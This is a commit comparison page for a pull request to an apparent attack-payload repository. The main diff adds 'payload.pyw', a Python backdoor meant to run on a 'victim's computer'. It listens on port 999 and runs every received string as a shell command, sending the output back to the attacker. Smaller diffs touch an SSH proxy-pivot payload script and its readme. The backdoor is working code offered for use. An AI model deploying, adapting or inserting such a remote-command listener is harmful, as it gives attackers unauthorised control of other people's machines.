Compare commits

...

4 Commits

Author SHA1 Message Date
kaasmanxd 60cf113aae
Merge 3008f2271d into 8d49569751 2024-11-22 21:12:35 +01:00
Peaks 8d49569751
Rename payloads/library/remote-access/SSH-proxy-pivot/readme.md to payloads/remote-access/SSH-proxy-pivot/readme.md
moving too correct directory
2024-11-22 13:37:02 -05:00
Peaks dd54dacf75
Rename payloads/library/remote-access/SSH-proxy-pivot/payload.sh to payloads/remote-access/SSH-proxy-pivot/payload.sh
Moving to correct directory
2024-11-22 13:36:25 -05:00
kaasmanxd 3008f2271d
Create payload.pyw 2018-02-10 20:49:48 +01:00
3 changed files with 57 additions and 2 deletions

View File

@ -0,0 +1,55 @@
# -*- encoding: utf-8 -*-
# !/usr/bin/python
# Created by NanoCoder
# Works on all device with python!
# You have to start on the victim's computer or other device RemoteTerminal.pyw
# You can find Connect_To.py here: https://github.com/kaasmanxd/Packet-Squirrel-payload/blob/master/Connect_To.py
# If you have done that, you have to start on the attacker his computer Terminal or Command Prompt and then type this:
# Python Connect_To.py [Victem's ip] [Victem's port]
# When you have done that, you are ready and you can type your commands.
from sys import platform as _platform
import subprocess, platform, socket, select, os
from thread import *
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
HOST = ''
PORT = 999
server.bind((HOST, PORT))
server.listen(100)
list_of_clients = []
def clientthread(conn, addr):
conn.send(" Welcome to Remote " + platform.system() + " Terminal Service")
conn.send(b'\nYou are connected !\n')
while True:
try:
message = conn.recv(1048)
if message:
proc = subprocess.Popen(str(message), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
conn.send(b'\n' + stdoutput)
else:
remove(conn)
except:
continue
def remove(connection):
if connection in list_of_clients:
list_of_clients.remove(connection)
while True:
conn, addr = server.accept()
list_of_clients.append(conn)
print "Got connection from", addr
start_new_thread(clientthread,(conn,addr))
conn.close()
server.close()

View File

@ -79,4 +79,4 @@ LED ATTACK
# starting autossh # starting autossh
/etc/init.d/autossh start /etc/init.d/autossh start
# Happy Hunting. # Happy Hunting.

View File

@ -69,4 +69,4 @@ Where:
* $remote_server_ip is the Remote SSH Server IP * $remote_server_ip is the Remote SSH Server IP
* $lport_fwd_port is the Squirrels ssh server reachable by the port configured in the Payload. * $lport_fwd_port is the Squirrels ssh server reachable by the port configured in the Payload.
Goes without saying, but use at your own risk. Don't do bad things. Goes without saying, but use at your own risk. Don't do bad things.